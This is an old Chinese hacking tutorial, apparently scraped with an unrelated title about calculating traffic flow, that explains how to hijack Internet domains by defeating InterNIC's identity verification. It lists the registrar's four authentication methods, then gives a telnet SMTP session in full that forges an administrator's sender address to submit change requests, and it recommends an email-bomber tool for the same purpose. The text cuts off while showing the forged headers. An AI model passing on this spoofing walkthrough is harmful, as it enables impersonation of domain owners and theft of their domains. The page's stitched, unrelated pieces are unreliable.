车流量如何计算:INTERNIC是干什么的

利用InterNIC验证缺陷进行域名劫持
利用InterNIC验证缺陷进行域名劫持

by 1sn0 (isno@etang.com)

一、前言

Internet域名是不安全的，很容易被人劫持，例如很早的时候163.net被人劫持了，指向了其它的IP地址，当网民连接上去时还以为163.net被黑掉了。其实这并不是163.net的责任，而是因为国际域名提供商InterNIC在身份验证上存在缺陷造成的。

二、InterNIC对用户请求进行身份验证的方法

下面我们先来看看InterNIC进行身份验证的四种方法：

MAILFROM：最普遍的验证方法，通过在域名登记时填写的Administrator的EMAIL地址进行身份验证。

CRYPT：请求可以来自任意EMAIL地址，但是需要一个标准的UNIX crypt()加密的密码。这是在注册时指定的。

PGP：把域名注册者的PGP公匙放进InterNIC的数据库中，当发送请求时必须使用私匙进行数字签名。

FAX：用传真机把公司的信笺头或者公章传过去。

以上这些身份验证的方法都不是非常安全的，下面我们介绍对应的攻击方法。

三、相应的攻击方法

1、MAILFROM是最普遍的验证方法，对付它也最容易，一般就是利用伪造Administrator的EMAIL地址发出修改域名注册信息的MAIL，由于SENDMAIL不检查实际的发送者的EMAIL地址，所以我们可以非常轻松的伪造一封发自任意地址的信，当然这封信并没有完全被伪造，用如下方法：
telnet phunc.com 25
Trying 209.249.172.58...
Connected to phunc.com (209.249.172.58).
Escape character is '^]'.
220 darkness.phunc.com ESMTP Sendmail 8.9.2/8.9.2; Wed, 17 Mar 1999
12:01:25 -0800 (PST)
>> HELO phunc.com
250 darkness.phunc.com Hello phunc.wsmg.digex.net [207.87.17.101],
pleased to meet you
>> MAIL FROM:isno@etang.com #在这里就伪造了发送者的EMAIL地址
250 isno@etang.com... Sender ok
>> RCPT TO:knight@phunc.com
250 knight@phunc.com... Recipient ok
>> DATA
354 Enter mail, end with "." on a line by itself
>> I am isno.
>> -isno
>>isno@etang.com .
250 MAA36653 Message accepted for delivery
QUIT
221 darkness.phunc.com closing connection
Connection closed by foreign host.

当然，其实我们完全可以利用一些伪造信的软件来实现，我一般使用Kaboom!，凡是电子邮件炸弹都有这个功能。

这样虽然伪造了发送者的EMAIL地址，但是还不是完全的伪造了，收信人可以查看邮件的原始信息来看到实际发送者的IP。例如，上面例子发出的伪造信在接受者看来是这样的：
Date: Wed, 17 Mar 1999 12:01:40 -0800 (PST)

国际域名机构注册中心